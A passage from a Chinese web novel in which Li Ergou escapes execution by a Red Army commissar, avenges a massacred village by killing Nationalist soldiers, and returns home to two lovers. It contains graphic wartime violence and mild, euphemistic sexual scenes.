一个人用枪管顶在李二狗的腰上,另一个人开始对李二狗进行搜身,他腰里的那把手枪被搜走了。 “果然是国民党特务。” 李二狗正想着怎么脱身时,抬头看到熟悉的灰布军装,原来是红军。 “兄弟,误会了,咱们是自己人。” 李二狗把手从头顶放下来,终于松了一口气。 “谁他娘的和你是自己人?狗特务!” 身后的人以为李二狗要反抗,一枪托狠狠地砸在他的后背上,痛得他倒在地上,一口鲜血吐了出来。 “我认识你们红军……” “哐”的一声,又一枪托砸在李二狗的脑袋上,他登时昏了过去。 等他醒来时,正躺在一块空地上,脸上被浇了一盆冷水。 他睁开眼,迷迷糊糊中看到一个熟悉的身影。 “李二狗,我们又见面了。” 李二狗努力睁大眼睛,看到刘文革正坐在一把椅子上,神态傲慢地看着他。 那表情仿佛在说,你小子怎么又落在了我的手里? 真是不是冤家不聚头,李二狗心里拔凉拔凉的。 李二狗挣扎着从地上爬起来,他想和刘文革说一说新一团和宋小曼的事情,以此来证明自己并不是国民党特务。 他刚颤巍巍地站起来,又被人一枪托砸在膝盖上,他惨叫一声,跪在地上。 “怎么?心里不服气?你再站起来试试?”刘文革狞笑道。 李二狗不是倔种,他知道自己此时站起来肯定还会被再次打倒,他没有那么傻。 “特派员,李云龙在哪?我要见他。” “李云龙?哈哈,你还想让李云龙来救你吗?可惜啊,他再也没有机会来救你了。” 李二狗心里“咯噔”一下,难道李云龙被他枪毙了。 “李云龙在哪?他到底怎么了?” 自从上次李云龙带领独立团突围之后,刘文革虽然对李云龙的憎恨之情没有丝毫减弱,但碍于李云龙在独立团的威信,他并不敢再轻易动他。 但他置李云龙于死地的想法却丝毫没有动摇。 机会终于被他等到了。 当前,国民党的军队正在围剿鄂豫皖根据地。 在一次战斗中,刘文革故意让李云龙只带领一个班的战士掩护独立团撤退,之后就再也没有了李云龙的消息,那个班的战士也一个人没有回来。 “李云龙同志已经为革命牺牲了,他死得相当光荣。”刘文明语气里充满了讥笑。 听到李云龙牺牲的消息,李二狗的心都碎了。 “我要见周政委,周政委在哪?” “别着急,一会儿我就送你下去见他,还有李云龙,你们三个人在下面也好彼此有个照应。” 听到周天放也牺牲了,李二狗的心彻底沉到了冰窟窿里。 “刘特派员,你听我说,我刚刚从红安县城的国民党监狱里救出宋小曼,我真的不是国民党特务,不信你可以安排人找她核实情况。” 情急之下,李二狗搬出了宋小曼。 “宋小曼?不认识!”刘文明呵呵一笑,“李二狗,你就不要再狡辩了,看看你身上穿得这身衣服,还有你开得那辆豪华轿车,如果你是我,你会相信你自己不是特务吗?” 刘文革这话说得有理有据,李二狗竟不知道该如何反驳他。 “特派员,宋小曼现在就在杨家庄,你可以派人去调查调查。” “杨家庄?哈哈,李二狗啊李二狗,你为了活命真是什么话都敢编啊!杨家庄刚刚被国民党反动派屠了村,你竟让我去杨家庄调查,你到底是什么居心?这笔血债我们还没有和你们清算呢!” 听到杨家庄被屠村,李二狗彻底崩溃了。 “屠村?你说杨家庄被屠村?这怎么可能?你不会是在骗我吧?” 李二狗完全懵了! 葛二蛋已经带着宋小曼回杨家庄,如果杨家庄被屠村,他们此时会不会也遇到了危险? “李二狗,你小子可真能装犊子,我差点都信了,你就等着被枪毙吧!” 李二狗再次挣扎着站了起来。 “姓刘的,你赶紧把我放了,我要回杨家庄。” “来人!把李二狗押下去,立即枪毙!” 第415章 人间地狱 “姓刘的,你他娘的凭什么枪毙老子?你这是在草菅人命!” 李二狗没想到,自己为了追寻理想而来,最后却落得一个这样的结果,实在是窝囊。 他不能甘心! “快点放了老子!不然老子做鬼也不会放过你!” 李二狗的声音震耳欲聋,却根本没有人搭理他。 两个战士像拖一条死狗一样把李二狗拖到一块空地上,他再也没有跳崖逃生的机会。 他只能仰天长啸。 “苍天啊,大地啊,难道我李二狗今天就要死在这荒郊野岭吗?” 他痛苦地闭上了眼睛。 “砰”的一声枪响,李二狗软绵绵地倒在地上。 “砰砰砰……” “轰轰轰……” 李二狗好像听到了千军万马的声音。 他看到刚刚要枪毙自己的战士已经呐喊着冲了出去。 自己不是死了吗? 他摸了摸自己的脑袋,又低头看了看自己的胸口,上面竟然没有一点伤口。 他这才意识到自己并没有死! 枪炮声越来越密集,一发发炮弹在自己不远处爆炸。 李二狗赶紧从地上爬起来,看到不远处,红军战士在成排地倒下。 他顾不得多想,撒腿就往后跑。 迫击炮的炮弹带着呼啸声在他身后不停地炸响,他不敢停留,不敢回头,拼了命地往前跑。 一口气跑出十里地! 当他蹚过两条河流,穿过三片树林之后,身后的枪炮声才渐渐变得稀疏起来。 李二狗一屁股瘫坐在地上,大口大口地喘着粗气,两条腿像灌了铅块一般。 歇了一会儿,稍微恢复了一些力气之后,李二狗又着急忙慌地上了路。 他心里一直记挂着宋小曼的安危,必须尽快赶到杨家庄。 等他赶到杨家庄的时候,西方已是残阳如血。 尽管已经做好了充足的心理准备,可眼前看到的一切依然令他震惊不已。 空气中,硝烟裹着血腥味充斥在整个村子上方,一根焦黑的树枝上还挂着半片尚未燃烬的衣角。 村口一个碾盘上的血渍已经有些发黑,混着脑浆凝成黏腻的硬块,几只乌鸦正在低头啄食,被走近的脚步声惊得扑棱棱飞起。 村东头的几间草房还在冒着黑烟,门框上挂着的红绸子被血浸透,成了紫黑的布条,那是一户人家娶亲时新挂上去的。 井台边倒着一个抱孩子的女人,指甲深深地抠进砖缝里,孩子的小鞋掉在井里,随着浑浊的血水在轻轻地打晃。 祠堂的门槛被劈成两半,供桌上的牌位撒了一地,有的被踩碎,有的沾着头发。 神龛前的蒲团烧得只剩下一摊黑灰,墙面上密密麻麻的弹孔里,还嵌着几颗没打透的弹头。几只苍蝇在上方嗡嗡地盘旋着,落在一个睁着眼睛的孩童脸上,那双眼睛还望着天空,仿佛在看偶然飘过的一朵朵洁白的云彩。 风卷着纸灰掠过空荡荡的街巷,碰响了一户人家倒在地上的铜盆,“哐当”一声,在死寂的村子里荡开,又被更深的寂静吞掉。 尽管看到的景象已经令李二狗极度悲伤,但好在并没有发现过多村民的尸体,只要人活着就好。 当他打开祠堂后面那扇半掩的木门时,他彻底惊呆了! 院子里躺满了村民的尸体,男人、女人、老人、孩童全都横七竖八地躺在血泊中。 李二狗的胃里一阵翻腾,最终他还是忍不住呕吐起来。 眼前看到的全部都是地狱的样子! 万幸的是,李二狗并没有发现宋小曼的身影。 按照时间推测,在宋小曼回到杨家庄之前,这里已经被国民党反动派屠村。 “小曼,小曼……” “二蛋,二蛋……” 李二狗围着村子喊了好久,都没有得到任何回响。 在祠堂后面的院子里,李二狗并没有发现喜儿的尸首,他在心中默默祈祷着,希望喜儿还活着。 来到喜儿家门口,院门大开着,里面的房屋早已烧得只剩下一些断壁残垣。 李二狗走进去,在浓重的硝烟中闻到了一股血腥味。 当他看向院子北侧的一间柴房时,顿时惊呆了。 柴房的木门歪挂在合页上,地上的稻草已被鲜血浸成深褐色。 喜儿蜷缩在草堆里,蓝布褂子已被撕得稀烂,露出的胳膊和大腿上满是青紫的掐痕。 她的眼睛圆睁着,瞳孔里仿佛还映着房梁的阴影,嘴角的血已经凝固,嘴张得很大,像是临死前还在拼命地呼救。 散乱的头发沾着草屑和血污,遮住了她半张稚嫩的脸庞,露出的下颌处有一道深可见骨的刀伤。 风从门缝里钻进来,掀起她残破的衣角。 柴房里静得能听到苍蝇撞在窗纸上的闷响,只有墙上那串她亲手编的玉米辫,还在晃着最后的余温。 李二狗的心像被人用一把钝刀在反复地切割,他脱下自己身上的衣服包裹住喜儿裸露的身体,大颗大颗的泪珠滴落在她的脸上。 “喜儿,大哥一定会为你报仇!” 李二狗抱起喜儿的尸体,来到后面的一处山坡上。 月光像一层薄纱,铺在光秃秃的山坡上,把李二狗的影子拉得老长。 他跪在地上,用那把磨秃了的铁锹,一下下往土里扎,每刨一下都震得虎口发麻,铁锹与石头碰撞击的“叮当”声,在寂静的夜里格外刺耳。 喜儿就躺在旁边的地上,尸体已被他仔细裹好,月光落在她脸上,那双眼永远闭上了。 嘴角的血痂已经发黑,可李二狗总觉得,她下一秒就会睁开眼,朝他笑,喊他“大哥”。 挖好的土坑不深,刚好能放下草席。 他小心翼翼地把她放进去,手指触碰到她冰凉的手,突然像被落铁烫到似的猛地缩回,眼泪“啪嗒”掉在土里,砸出一个小小的土坑。 他开始填土,一捧捧泥土落在草席上,发出“沙沙”的响,像在替喜儿在哭。 不知道过了多久,土终于填平了,他又用铁锹拍了拍,拍着拍着就蹲在地上,肩膀一抽一抽的,却没发出一点声音。 只有月光知道,这山坡上从此又多了一座新坟,坟里埋着一个如花似玉的姑娘。 第416章 李二狗痛下杀手 李二狗站在山坡上,背后是一座新砌的坟,身前则是满目疮痍。 抬头望着头顶那一轮皎洁的月亮,他的眼中,慢慢涌出两行浊泪,既为死者,也为自己心中那个越来越迷茫的理想。 在这里,无论是谁,好像除了杀戮还是杀戮。 难道要改变一个时代,必须要不停地杀戮吗? 今天你杀我,明天我杀你,甚至自己人杀自己人,难道这个世界上真的只有不是你死就是我活吗? 他记得有一位哲人说过,江湖不只是打打杀杀。 可为什么他所见到的,除了打打杀杀还是打打杀杀? 自己不远千里为追寻理想而来,可现在却发现这个千里之外的地方远不如自己的那一亩三分地实在。 一阵冷风吹来,吹干了他眼角的泪水。 他想回家了。 “砰!” 突然,一颗子弹擦着李二狗的发梢飞过。 “砰,砰,砰……” 紧接着又是一连串的枪声。 “抓住山坡上那个人。” 李二狗听见山下传来一阵杂乱的脚步声。 他猛地回头,只见六七个身穿黄布军装的国民党士兵正举着枪往上爬,刺刀在月光下闪着冷光。 “他在那儿!”一个士兵指着李二狗大声喊道,“兄弟们,一定要抓活的!” 李二狗的手瞬间攥紧了铁锹,喜儿的新坟就在脚边,泥土里仿佛还带着温度,没想到凶手却这么快就出现在自己眼前。 坟头旁边的那棵野菊花正被山风吹得轻轻摇晃,像是在替死去的喜儿伸冤。 他的眼睛红了,胸腔里像是有一团火正在熊熊燃烧。 这些兵痞,屠村的凶手!一定让你们血债血偿! “你们这群狗娘养的!” 李二狗低吼一声,抄起铁锹就往山坡下冲去。 国民党的士兵看呆了! 明明是他们要冲上山坡抓人,怎么这人自己反而冲了下来? 他疯了吗? 李二狗确实疯了! “打死他!” 国民党士兵被李二狗的气势吓坏了,不再执着于抓活的。 “砰砰”几声枪响,子弹擦着李二狗的耳边飞过,打在旁边的石头上,迸出一连串火星。 密集的子弹把李二狗压制在一棵大树后面动弹不得。 “冲!” 脚步声离李二狗越来越近,他屏住呼吸,握紧了手中的铁锹。 李二狗从树后看到一个人影正在慢慢靠近自己,他借着夜色的掩护,猛地从树后闪出,铁锹贴着地面横扫过去。 最前面的一个士兵没站稳,被绊得一个踉跄,李二狗顺势起身,铁锹带着风声劈向他的后脑勺。 “噗”的一声闷响,那士兵哼都没哼一声就倒在地上,鲜血顺着草缝渗进泥土里。 “开枪!快开枪!打死他!” 后面的士兵慌了神,举着枪就是一阵乱射。 李二狗早已滚到一块巨石后面,子弹打在石头上,碎屑溅了他一脸。 他探出头看了一眼,五个士兵正呈扇形往上包抄,脚步踩在枯草地上发出“沙沙”的声响。李二狗藏身的不远处有一片矮树丛,他在地上发现了一个标志。 前两天在去县城的路上,葛二蛋偶然和他提起,乡亲们为了打野猪而在山坡上埋设了一些陷阱,并告诉他在每个陷阱旁都有做的记号。 葛二蛋警告李二狗以后上山的时候千万不要乱跑,以免落入陷阱。 当时李二狗并没有在意,没想到,现在这些陷阱正好派上用场。 李二狗抓起地上的几块石头,朝着相反的方向扔了过去。 “咚”的一声,石头落在不远处的一块大石头上。 士兵们果然被这个声响吸引了注意力,他们纷纷朝那边瞄准。 趁这功夫,李二狗像一只兔子似的蹿了出去,几步就钻进了那片矮树丛。 “他往那边跑了!”一个士兵喊着,带头追了过来。 他们显然没把这个农民放在眼里,端着枪大摇大摆地冲进树丛,根本没注意脚下的这片枯草又厚又深,那是乡亲们特意用枯枝盖住的一个陷阱口。 “啊!” 一声惨叫划破夜空,跑在最前面的士兵突然消失在草丛里,紧接着传来一声骨头断裂的脆响。 李二狗趴在暗处,清楚地看见那人掉进了深约丈许的陷阱,被底下削尖的木桩穿透了胸膛。 剩下的四个士兵吓得停下脚步,举着枪四处张望,脸上满是惊慌。 “他娘的,这……这是什么鬼地方!”一个长着络腮胡子的士兵骂道,他的声音都在发颤。 李二狗没给他们反应的机会。 他从怀里掏出一根火柴,擦燃后扔向旁边的干草堆。 火苗“腾”地一下窜了起来,借着风势迅速蔓延,浓烟滚滚,呛得士兵们直咳嗽。 “咳咳……快躲开!” 络腮胡子士兵捂着嘴往后退,不小心撞在身后的同伴身上。 两人尚未站稳,就看见一道黑影从火海里冲了出来,手里的铁锹闪着寒光。 李二狗的眼睛在火光中亮得吓人,像一头被逼到绝境的野狼。 他避开络腮胡子刺来的刺刀,铁锹斜劈下去,正砍在对方的胳膊上。 “咔嚓”一声,骨头断裂的声音混合着他的惨叫,络腮胡子手里的步枪掉在地上,捂着断臂在地上打滚。 另一个士兵举枪正要射击,李二狗猛地扑了过去,用身体撞在他的胸口上。 两人一起滚进火堆旁的泥地里,李二狗死死按住他扣扳机的手,腾出另一只手抓起地上的一块石头,朝着他的太阳穴狠狠地砸了下去。 一下,两下,直到对方的身体不再动弹,他才松开手,手上沾满了温热的鲜血。 还剩两个士兵,早已吓得魂飞魄散,转身就往坡下跑。 李二狗哪肯放过他们,他捡起地上的枪,朝着跑在后面的士兵扣动了扳机。 “砰”的一声,子弹却打偏了,不过惊得那个士兵脚下一滑,滚下山坡,脑袋撞在一块石头上,当场没了声息。 最后一个士兵拼命往前跑,却不知道被什么东西绊倒在地。 他爬了好几次都没有从地上爬起来,显然是吓坏了。 李二狗脑海中浮现出喜儿被这群畜生奸污的画面,他决定不再心软。 第417章 你们快走,不要连累我们 “咔!” 手中的步枪竟然没有子弹了。 李二狗把步枪往地上一扔,想要再捡一把步枪时,发现陷阱旁的一根树枝上挂着一副绳索。 他认识那是猎户平时捕猎时用的套索。 他不慌不忙地拿起绳索,用尽全身力气将套索甩了出去,绳圈正好套在那名士兵的脖子上。 “呃……” 士兵的身体猛地僵住,双手抓住脖子上的绳索拼命地挣扎。 李二狗脚下蹬着一块大石头,死死地往后拽,绳子在他手里越收越紧。 士兵的脸涨得通红,眼睛凸出,舌头伸了出来,彻底失去了反抗的能力。 李二狗这才松开手里的绳子,慢慢走到他身旁。 士兵双手还在拉扯着脖子上的绳索,嘴里发出“呜呜”的声音。 李二狗捡起地上的一把刺刀,抵在了这名士兵的脖子上。 “说,你们有没有抓住一男一女?” 士兵早被吓傻了,先是一个劲的摇头,继而又一个劲的点头。 “到底有没有?敢说一句谎话,老子立刻宰了你!” 士兵嘴里呜呜着,不停地点头。 李二狗为了进一步确认是不是宋小曼,便问道:“那个女人是不是穿着一身囚服?” “嗯嗯嗯……” 宋小曼果然是被国民党的军队抓走了,李二狗必须救她出来。 “说,他们被你们关押在什么地方?” “在……在这个村子东面……五里路外的一个土地庙里。” “你们有多少人?” “有……有一个连的兵力。” “他娘的,说具体点!” “不……不到一百人。” 对方有一百人,而自己只有一个人,李二狗又陷入到熟悉的困境,好在李二狗已经习惯了解决这种困境。 趁着李二狗愣神的工夫,那名士兵挣扎着从地上爬起来向山下跑去。 李二狗根本没有转头,猛地向自己身后掷出手里的那把刺刀。 “啊……” 刺刀直直地插入他的后背,他双眼圆睁,倒在地上后彻底不动了。 李二狗这时才彻底放松下来,他瘫坐在地上,大口大口地喘着粗气。 山坡上的野火还在燃烧,映得他的脸忽明忽暗,身上的衣服被划破了好几处,伤口上沾满了血和泥。 看着山坡上横七竖八的尸体,李二狗又转头看了看喜儿的新坟,他突然像一头受伤的野兽般发出一声压抑的嘶吼。 眼泪混合着脸上的血和汗,一起淌进脚下的泥土里。 风渐渐停了,月亮又从云层里钻了出来,照亮了山坡上的这片狼藉。 李二狗慢慢站起身,走到喜儿的坟前,用袖子擦了擦墓碑上的泥土——那其实就是一块普通的石板,是他用一块石子在上面刻上了喜儿的名字。 也许用不了多久,这个世界上将再也没有人会记得喜儿这个名字,但李二狗还是希望她曾经带给这个世界的温暖能被人们记得更久一些。 “喜儿,乡亲们……”他的声音颤抖的厉害,“我替你们报仇了……” 说完,他对着新坟磕了三个响头,然后转身,捡起地上的一把刺刀,插在腰间。 李二狗最后看了一眼喜儿的坟,他知道这一眼将是永别。 他擦干眼泪,转身钻进了黑漆漆的树林。 月光在他身后拉出一个长长的影子,像一道复仇的伤疤,刻在这片浸透了血泪的山坡上。 林子里的风很大,吹得树叶“哗哗”作响,像是在为他送行,又像是在预示着前路的艰险。 此时的李二狗血气上涌,已顾不得其他。 他单枪匹马来到村子东面的那所土地庙,却看到庙前庙后堆满了尸体。 有红军的尸体,更多的是国民党士兵的尸体。 他踏着这些尸体进入土地庙,并没有发现宋小曼和葛二蛋的身影,内心不禁长舒了一口气。 “救命……救命……” 正在这时,一个微弱的声音从身后响起。 李二狗看到从尸山血海中伸出一只手,他赶紧跑向前,看到一个奄奄一息的红军战士。 “兄弟,你怎么样?” 红军战士微微睁开眼睛,眼中闪过一丝亮光,仿佛看到了自己活下去的希望。 “救……我……” 李二狗看到他的胸口上有一片大大的血渍,好在伤口并不在心脏位置。 他赶忙从旁边一个士兵的尸体上撕下一片衣服,为他包扎了伤口,血暂时止住了。 “兄弟,你见没见到被国民党军队抓住的一男一女?那个女的穿着一身囚服。” “见……见……到……” 话未说完,便晕了过去。 “兄弟,兄弟……” 李二狗知道,要想救他,必须尽快把他身体里的弹头取出来,不然等伤口发炎,就是神仙来了也救不了。 “兄弟,我带你离开这里。” 李二狗俯身背起这名战士,快步离开了土地庙。 一直向前走了五里地,才看到一个村子。 可进入村子才发现,这里和杨家庄一样,也被国民党军队屠了村。 村民的尸体横七竖八地躺在大街小巷、田间地头,成群的乌鸦正站在尸体上觅食,又是一个人间地狱。 “这群畜生!” 背上的红军战士已经陷入深度昏迷,李二狗不敢耽搁,只能继续往前走。 又走了五里地,才看到一个村子,好在这个村子并没有被屠村。 李二狗敲响了一户人家的院门。 “谁?”院门里面的人警惕地问道。 李二狗听出是一个大爷的声音,急忙说道:“大爷,我路过此地,向您讨碗水喝。” 里面的人犹豫了一下,还是打开了院门。 当他看到李二狗背上的红军战士时,“砰”的一声又关上了院门。 “你们快走,不要连累我们。” “大爷,大爷……” 任凭李二狗喊破喉咙,里面再也没有了任何动静。 李二狗又来到下一家,同样吃了闭门羹。 一连又敲了三四家的院门,当他们看到受伤的红军战士时,都像躲瘟神一样地关闭院门。 从进入鄂豫皖根据地开始,李二狗听到最多的话就是红军是为穷苦百姓打天下的队伍,可现在这些穷苦百姓却…… 第418章 金窝银窝不如自己的狗窝 李二狗背着人连续走了十几路山路,此时已经没有了再往前走的力气,他只能背着红军战士来到村口的一个破旧草棚。 红军战士的嘴唇干裂,嘴里不停地说着胡话,李二狗一摸他的额头,滚烫的吓人。 他起身走到旁边的一条小河边,用河沟里捡到的一个破碗片舀了一些水,喂进了红军战士的嘴里。 他微微睁开双眼,眼睛里恢复了一丝生气。 李二狗知道,这是一个人临死前的回光返照。 这是李二狗人生第一次感觉到绝望,深深地绝望,绝望中还夹杂着失望、无望! “那……那个……女人……被……我们红军……救走了……” 说完之后,他便闭上了双眼,双手慢慢地垂了下去。 李二狗匆匆埋葬了这名红军战士之后,就一瘸一拐地向前走去。 虽然知道宋小曼已经被红军救走了,但他必须亲眼见到她安全才能安心。 可到处都在打仗,到处都是堆积如山的尸体。 在整个根据地,越来越看不到红军的身影。 李二狗从一个老汉口中得知,红军大部队已经离开了根据地。 万般无奈之下,李二狗只能辗转回到武汉。 再次来到上次和刘东分别的一个秘密联络站,却发现联络站早已人去楼空,里面有很明显的打斗痕迹。 李二狗不死心,又来到早先已经暴露的雅文书店。 雅文书店的招牌已不见踪影,门口挂着典当行的门牌。 刘东他们已经撤离了? 还是被力行社的特务抓捕了? 徐青霞现在怎么样了? 一个个问题萦绕在李二狗的心头,他心里乱极了。 鬼使神差之下,他竟来到了王曼春家楼下。 房间里没有亮灯,很显然她还没有回家,李二狗便躲在楼下一个角落里等候。 回想起之前与王曼春发生的点点滴滴,李二狗觉得她虽然心狠手辣,却是一个极度缺爱的女人。 她对别人也许很残暴,可对李二狗却是真心实意,哪怕极度怀疑李二狗的身份,但还是舍不得动他分毫。 一直等到晚上十点,一辆黑色轿车驶了过来,停在了楼下。 王曼春推开车门走了下来。 她穿着一件黑色短款皮衣,烫着一头精致的波浪卷,露出的半截小腿裹着深色的丝袜。 她站在楼下,左手插在皮衣口袋里,右手指尖夹着的烟燃着幽红的火。 她习惯性地观察了一下四周,没有发现异常之后才把烟头扔在地上,用鞋底搓了搓,然后扭着翘臀上了楼。 李二狗嘴角露出一抹似笑非笑的笑容,也把烟头扔在地上踩了踩,紧跟着上了楼。 刚进楼道,身后就被人用枪顶住了后腰。 “不许动!把手举起来。” 听到王曼春熟悉的声音,李二狗微微一笑,刚把身体转过来,王曼春已经扑入到他的怀中。 “狗东西,你总算回来了。” “想我了吗?” “想了。” “哪里想了?” “当然是……哪里都想你。” “哪里最想?” “你讨厌……”王曼春捶打着李二狗的胸膛,眼波流转,“我们进去再说。” 两人刚进入房间,手口便交织纠缠在一起…… 琴瑟和鸣中,很快两人便进入到你中有我,我中有你的境界。 李二狗一次次把王曼春带入到一种癫狂的状态,余音绕耳,久久难以平静。 王曼春躺在李二狗怀里,此时的她温柔似水,正是自己渴望中的样子。 “二狗,这段时间你去哪里了?我还以为再也见不到你了。” 李二狗吸了一口烟,缓缓吐出口中的烟雾。 “曼春,不瞒你说,我去了一趟红安。” 王曼春听到“红安”二字,顿时从床上坐了起来,盖在胸前的被子无声地滑落下来。 “你去了红安?上天保佑你能平安无事地回来。” 王曼春抚摸着自己的胸口,显然受到了极度的惊吓。 李二狗从王曼春的表情中猜到其中必有隐情。 “红安怎么了?红安县城现在在国民政府的掌控之中。” “现在确实是,但以前不是,南京国民政府的这次围剿作战,已经彻底消灭了红军主力,你如果和他们有牵扯……” 王曼春没有说下去,李二狗听明白了她话里的意思。 “曼春,我以前和你说过很多次,不管你相不相信,我真得不是共产党,你大可不必为我担心。” 王曼春伏在李二狗胸口,温顺的就像一只小猫。 “我当然相信你,人家只是担心你嘛。” 陷入温柔乡里的李二狗并没有忘记此行的一个重要目的。 “曼春,你和我说实话,中共武汉工委是不是被你们消灭了?” 王曼春刚刚还在抚摸李二狗胸口的手突然停了一下。 “二狗,你刚刚还说和他们没关系!” “我确实不是共产党,但和他们中的人也确实认识。” “你说的这个人是徐青霞吗?” 徐青霞永远是王曼春心里的一根刺。 在力行社的时候,她是自己的劲敌。 离开了力行社,她成了自己的情敌。 “是。” 李二狗不想骗王曼春,他也知道自己骗不了她。 “前段时间,我们端了他们的老巢,”王曼春顿了顿,不忍李二狗担心,继续说道:“不过并没有抓到徐青霞,如今共党已经撤离武汉,也许她也跟着离开武汉了。” 李二狗内心既欣慰又难过。 欣慰的是徐青霞安然无恙,难过的是她现在不知所踪。 “谢谢你,曼春。” 王曼春把头深深地埋进李二狗的胸膛。 她知道自己是一个什么样的女人,她也知道自己和李二狗永远不会有好的结果。 天亮后,自己都不知道自己究竟是谁的女人,想多了都是眼泪。 和上次一样,如今唯一能做的就是尽情享受这一刻的美好时光。 “二狗,抱紧我好吗?我还想要……” 李二狗扔掉手里的烟头,紧紧地抱住王曼春…… 第二天,内心无限惆怅的李二狗带着诸多遗憾离开武汉。 金窝银窝不如自己的狗窝,他想梦瑶了。 第419章 我要你喂我喝 时隔多日,李二狗乘坐火车回到省城。 省城的初冬暖阳懒懒散散地淌过吴公馆的雕花门楼。 李二狗站在青砖铺就的庭院里,鼻尖萦绕着熟悉的桂花香味。 管家说吴有德去商会开会了,他刚想问静雯在不在家,就听见楼上传来一阵急促的脚步声。 “是……二狗回来了吗?” 晴雯穿着一身黑色的绣花旗袍正从二楼楼梯上“咯噔咯噔”地跑下来。 李二狗看着她,喉结剧烈地动了几下。 不过两个月未见,她鬓角的碎发留长了一些,一头秀发用一根玉簪松松挽着,额前的刘海因为跑动而被吹得微微颤动。 静雯见到李二狗,因为激动,胸口抖动的厉害,站在楼梯口竟一时语噎。 “愣着做什么?傻了吗?”李二狗先笑了,大步流星跑过去,“我回来了。” 话音未落,他已紧紧地抱住静雯。 晴雯的手指冰凉,指甲却带着一股狠劲,掐得他生疼。 “你还知道回来!”她的声音微微有些发颤,眼眶红得像熟透的樱桃,“我还以为你……” 后面的话没说出口,已被涌上来的哽咽堵在了喉咙里。 他看着她睫毛上沾着的泪珠,心里像被什么东西揪得生疼。 出发前他答应过静雯,最多半个月就回来,没想到这一走就是两个月。 “静雯,让你担心了。”他抬手想替她擦掉眼角的泪水,指尖刚刚触碰到她的脸颊,又被她猛地扑进怀里。 晴雯的额头撞在他的胸口上,带着一股蛮劲,却又很快软了下来。 她像一只受了委屈的小猫,把脸埋在他的粗布褂子里蹭。 桂花的甜香混着她发间的茉莉花香,钻进李二狗的鼻腔里,让他紧绷了一路的神经突然松了下来。 “以后不许再乱跑了。”她的声音很温柔,像是命令又像是祈求,“干爹也十分担心你,我……我夜里总做噩梦,梦见你被枪打了……” 李二狗的手停在半空,最后轻轻地落在她的后颈上,指尖穿过她柔软的发丝。 “不跑了,”他低声说道,脸上写满了失望,“以后再也不跑了。” 天空中的暖阳渐渐移到脚边,把两人的影子叠在一处。 晴雯慢慢抬起头,一张俏脸红红的,嘴唇却还撅着,带着一点孩子气的怨怼道:“真的?你可不许骗我。” “骗你是小狗。”李二狗伸手刮了一下她的鼻子,看着她瞬间绽开的笑脸,心里像吃了蜜一样甜。 她的笑是藏不住的,从嘴角漫延到眼角,连眉梢都带着甜蜜。 “我去给你做碗甜汤。”她转身就要走,手腕却被李二狗紧紧地拉住,一个趔趄又跌回到他的怀里。 李二狗的手紧紧搂着她的腰,隔着丝滑的旗袍,能摸到她纤细的骨架。 他低下头,鼻尖蹭过她的鬓角,闻到她耳后淡淡的茉莉香味。 “不急,”他的声音很低,像怕惊飞了什么似的,“我想了……” 晴雯的身子瞬间僵住,耳根红得快要滴出血来。 院子里静悄悄的,只有风吹过桂树的沙沙声,和两人越来越近的心跳。 她能感觉到他的呼吸落在她的脖颈上,带着一点粗粝的热度,烫得她浑身发软,连推开他的力气都没有了。 不知过了多久,她才轻轻推了推他。 “让人看见了……不好。” 李二狗不仅没有松开,反而把静雯抱得更紧了。 “那我们回屋吧?” “没正经!”晴雯嗔怪着捶了他一下,却被他抓住纤细的手腕。 他手指摩挲着她的手背,让她心里像揣了一只乱撞的小鹿。 静雯完全失去抵抗能力,只好跟着李二狗上了楼…… 一时间,整个楼仿佛都处于震动当中。 一个时辰之后,李二狗从床边的衣服里掏出一个用油纸包着的小匣子,递到她面前。 晴雯眼睛一亮,连忙接过来拆开。 里面是一支银质的梅花簪子,簪头的花瓣雕得栩栩如生,还坠着一颗小小的珍珠,在灯光下闪着温润的光。 “我在武汉的时候,看到这根簪子,感觉特别适合你的气质,不知道合不合你的心意?” 晴雯捏着那支簪子,指尖微微颤抖着。 她想起两个月前,李二狗在临走之前,两人路过城隍庙的一家首饰铺,她确实多看了这种款式的簪子两眼,却没想到他竟记在了心上。 她的眼泪又不争气地涌上来。 “喜欢吗?” “喜欢,当然喜欢。”她吸了吸鼻子,把簪子小心翼翼地插进鬓角,抬头朝着他笑,“你送的,什么我都喜欢。” 李二狗看着她鬓边的珍珠随着笑容轻轻晃动,心里像被什么东西填满了。 他伸手将她鬓角的碎发别到耳后,指尖不经意擦过她的耳垂,她像被烫到似的缩了缩,却偷偷抬眼望他,眼波流转间,带着说不尽的情意。 “饿不饿?”晴雯站起身开始穿衣服,“我去厨房给你炖碗人参汤,你一路劳累,正好补一补。” “嘿嘿,你真是在根上关心我啊。”李二狗笑了笑,看着她穿好衣服往门外走去。 他突然想起了什么,在她身后喊道,“多放些枸杞。” “知道啦!还用你说?” 李二狗靠在床头,看着窗外的桂花树。 阳光透过叶隙洒下来,在地板上投下一片斑驳的光影。 两个月的颠沛流离,枪林弹雨,仿佛都在见到她的那一刻烟消云散了。 晴雯端着人参枸杞汤走进来时,看见李二狗正对着她傻笑,脸颊瞬间又红了。 她把青瓷碗放在床头的桌子上,给他递过一把勺子:“快喝吧,把你刚刚流失的都补回来,嘻嘻。” 李二狗接过勺子,却没有喝,只是看着静雯一脸坏笑:“我要你喂我喝。” “真是没羞没臊!”晴雯羞涩地瞪了他一眼,嘴角却含着笑,她接过勺子舀了一勺,轻轻吹凉了递到他嘴边。 “我要你用嘴喂我。”李二狗撒娇道。 “你……爱喝不喝!” 冬阳慢慢西斜,透过窗子照射进屋子里,将两人的影子拉得很长,像要缠在一起,再也分不开。 第420章 张玲玉疯了 “干爹,您回来了。” 吴有德见到李二狗,喜不自胜,脸上的愁云顿时烟消云散了。 “二狗,你小子终于回来了,看你这段日子消瘦了不少,肯定吃了不少苦吧?” “嘿嘿,都是想干爹想的。” 吴有德哈哈一笑,说道:“油嘴滑舌,你小子心里那点小九九我还不清楚吗?走,陪干爹好好喝一杯。” 两人来到餐厅,静雯已经把饭菜端上桌,她知道吴有德一回来准要和李二狗喝酒。 “干爹,你们先喝着,我再去厨房吩咐他们做几个硬菜。” “静雯啊,你快去把我那瓶老汾酒拿出来,今晚高兴,我和二狗喝了它。” “干爹,那瓶酒可珍贵啊,您舍得吗?”静雯笑问道。 “今晚高兴,再珍贵的酒也舍得,快去拿。” 静雯很快便把那瓶还是前清时期酿造的老汾酒拿了出来。 李二狗接过酒,把面前的两个酒杯倒满,果然有一股绵长的清香。 “干爹,我敬您,这段日子让您老为我担心了。” 吴有德端起酒杯和李二狗碰了碰,然后一饮而尽。 李二狗隐约感觉吴有德像是有心事。 “二狗啊,你这次去了一趟南方有什么收获吗?” 